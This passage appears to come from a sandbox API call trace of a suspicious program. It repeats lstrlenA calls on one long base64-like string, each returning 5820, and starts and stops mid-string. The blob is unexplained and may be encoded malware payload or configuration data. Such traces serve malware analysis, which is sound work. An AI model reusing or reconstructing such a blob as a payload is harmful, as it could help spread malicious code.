HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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